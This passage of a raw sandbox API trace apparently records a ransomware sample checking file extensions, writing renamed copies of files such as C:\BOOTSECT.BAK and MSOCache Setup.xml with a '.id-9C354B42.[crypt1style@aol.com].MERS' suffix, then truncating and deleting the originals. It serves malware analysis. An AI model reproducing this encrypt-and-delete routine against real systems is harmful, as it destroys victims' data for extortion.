(lpString=".doc") returned 4 [0033.901] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString=".docx") returned 5 [0033.901] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0033.901] lstrlenW (lpString=".pdf") returned 4 [0033.901] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString=".xls") returned 4 [0033.901] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString=".xlsx") returned 5 [0033.901] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0033.901] lstrlenW (lpString=".ppt") returned 4 [0033.901] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW (lpString=".zip") returned 4 [0033.901] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString=".rar") returned 4 [0033.901] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString=".bz2") returned 4 [0033.901] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0033.901] lstrlenW (lpString=".7z") returned 3 [0033.901] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0033.901] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW (lpString=".dbf") returned 4 [0033.901] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW (lpString=".1cd") returned 4 [0033.901] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0033.901] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW (lpString=".jpg") returned 4 [0033.901] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0033.901] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW (lpString=".doc") returned 4 [0033.901] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString=".docx") returned 5 [0033.902] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0033.902] lstrlenW (lpString=".pdf") returned 4 [0033.902] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString=".xls") returned 4 [0033.902] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString=".xlsx") returned 5 [0033.902] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0033.902] lstrlenW (lpString=".ppt") returned 4 [0033.902] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.902] lstrlenW (lpString=".zip") returned 4 [0033.902] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString=".rar") returned 4 [0033.902] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString=".bz2") returned 4 [0033.902] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0033.902] lstrlenW (lpString=".7z") returned 3 [0033.902] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0033.902] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.902] lstrlenW (lpString=".dbf") returned 4 [0033.902] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0033.902] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.902] lstrlenW (lpString=".1cd") returned 4 [0033.902] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0033.902] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.902] lstrlenW (lpString=".jpg") returned 4 [0033.902] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0033.902] lstrcmpiW (lpString1=".BAK", lpString2=".MERS") returned -1 [0033.902] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0033.903] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0033.909] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8192) returned 1 [0033.909] CloseHandle (hObject=0x188) returned 1 [0033.909] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0033.910] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\bootsect.bak.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.910] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0033.910] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0033.910] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.910] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.910] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\bootsect.bak.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.910] GetLastError () returned 0x0 [0033.910] ReadFile (in: hFile=0x188, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x2000, lpOverlapped=0x0) returned 1 [0034.004] WriteFile (in: hFile=0x190, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0034.005] ReadFile (in: hFile=0x188, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.005] WriteFile (in: hFile=0x190, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.005] SetEndOfFile (hFile=0x190) returned 1 [0034.005] CloseHandle (hObject=0x190) returned 1 [0034.006] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.006] SetEndOfFile (hFile=0x188) returned 1 [0034.007] CloseHandle (hObject=0x188) returned 1 [0034.007] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x27) returned 1 [0034.007] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0034.008] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.008] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.008] lstrlenW (lpString=".doc") returned 4 [0034.008] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString=".docx") returned 5 [0034.008] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0034.008] lstrlenW (lpString=".pdf") returned 4 [0034.008] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString=".xls") returned 4 [0034.008] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString=".xlsx") returned 5 [0034.008] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0034.008] lstrlenW (lpString=".ppt") returned 4 [0034.008] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.008] lstrlenW (lpString=".zip") returned 4 [0034.008] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString=".rar") returned 4 [0034.008] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString=".bz2") returned 4 [0034.008] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString=".7z") returned 3 [0034.008] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0034.008] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.008] lstrlenW (lpString=".dbf") returned 4 [0034.008] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0034.008] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString=".1cd") returned 4 [0034.009] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString=".jpg") returned 4 [0034.009] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString=".doc") returned 4 [0034.009] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString=".docx") returned 5 [0034.009] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0034.009] lstrlenW (lpString=".pdf") returned 4 [0034.009] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString=".xls") returned 4 [0034.009] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString=".xlsx") returned 5 [0034.009] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0034.009] lstrlenW (lpString=".ppt") returned 4 [0034.009] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString=".zip") returned 4 [0034.009] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString=".rar") returned 4 [0034.009] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString=".bz2") returned 4 [0034.009] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString=".7z") returned 3 [0034.009] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString=".dbf") returned 4 [0034.009] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.009] lstrlenW (lpString=".1cd") returned 4 [0034.009] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0034.009] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0034.010] lstrlenW (lpString=".jpg") returned 4 [0034.010] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0034.010] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.010] lstrlenW (lpString="Setup.xml") returned 9 [0034.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.010] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1886) returned 1 [0034.010] CloseHandle (hObject=0x188) returned 1 [0034.010] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.010] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.010] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.010] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0034.011] GetLastError () returned 0x0 [0034.011] ReadFile (in: hFile=0x188, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x75e, lpOverlapped=0x0) returned 1 [0034.079] WriteFile (in: hFile=0x190, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x760, lpOverlapped=0x0) returned 1 [0034.080] ReadFile (in: hFile=0x188, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.080] WriteFile (in: hFile=0x190, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.080] SetEndOfFile (hFile=0x190) returned 1 [0034.080] CloseHandle (hObject=0x190) returned 1 [0034.080] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.081] SetEndOfFile (hFile=0x188) returned 1 [0034.081] CloseHandle (hObject=0x188) returned 1 [0034.081] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.082] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.082] lstrlenW (lpString=".doc") returned 4 [0034.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.082] lstrlenW (lpString=".docx") returned 5 [0034.082] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.082] lstrlenW (lpString=".pdf") returned 4 [0034.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.082] lstrlenW (lpString=".xls") returned 4 [0034.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.082] lstrlenW (lpString=".xlsx") returned 5 [0034.082] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.082] lstrlenW (lpString=".ppt") returned 4 [0034.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.082] lstrlenW (lpString=".zip") returned 4 [0034.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.082] lstrlenW (lpString=".rar") returned 4 [0034.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.082] lstrlenW (lpString=".bz2") returned 4 [0034.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.082] lstrlenW (lpString=".7z") returned 3 [0034.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.083] lstrlenW (lpString=".dbf") returned 4 [0034.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.083] lstrlenW (lpString=".1cd") returned 4 [0034.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.083] lstrlenW (lpString=".jpg") returned 4 [0034.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.083] lstrlenW (lpString=".doc") returned 4 [0034.083] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString=".docx") returned 5 [0034.083] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.083] lstrlenW (lpString=".pdf") returned 4 [0034.083] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString=".xls") returned 4 [0034.083] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString=".xlsx") returned 5 [0034.083] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.083] lstrlenW (lpString=".ppt") returned 4 [0034.083] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.083] lstrlenW (lpString=".zip") returned 4 [0034.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.083] lstrlenW (lpString=".rar") returned 4 [0034.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString=".bz2") returned 4 [0034.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.083] lstrlenW (lpString=".7z") returned 3 [0034.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.084] lstrlenW (lpString=".dbf") returned 4 [0034.084] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.084] lstrlenW (lpString=".1cd") returned 4 [0034.084] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.084] lstrlenW (lpString=".jpg") returned 4 [0034.084] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.084] Sleep (dwMilliseconds=0x64) [0034.233] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.233] lstrlenW (lpString="Setup.xml") returned 9 [0034.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0034.236] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4207) returned 1 [0034.236] CloseHandle (hObject=0x1d0) returned 1 [0034.236] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.236] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0034.236] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.236] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0034.237] GetLastError () returned 0x0 [0034.237] ReadFile (in: hFile=0x1d0, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x106f, lpOverlapped=0x0) returned 1 [0034.382] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0034.383] ReadFile (in: hFile=0x1d0, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.383] WriteFile (in: hFile=0x1d4, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.383] SetEndOfFile (hFile=0x1d4) returned 1 [0034.383] CloseHandle (hObject=0x1d4) returned 1 [0034.383] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.383] SetEndOfFile (hFile=0x1d0) returned 1 [0034.384] CloseHandle (hObject=0x1d0) returned 1 [0034.384] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.384] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString=".doc") returned 4 [0034.385] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".docx") returned 5 [0034.385] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.385] lstrlenW (lpString=".pdf") returned 4 [0034.385] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".xls") returned 4 [0034.385] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".xlsx") returned 5 [0034.385] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.385] lstrlenW (lpString=".ppt") returned 4 [0034.385] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString=".zip") returned 4 [0034.385] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.385] lstrlenW (lpString=".rar") returned 4 [0034.385] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".bz2") returned 4 [0034.385] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString=".7z") returned 3 [0034.385] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString=".dbf") returned 4 [0034.385] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString=".1cd") returned 4 [0034.385] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.385] 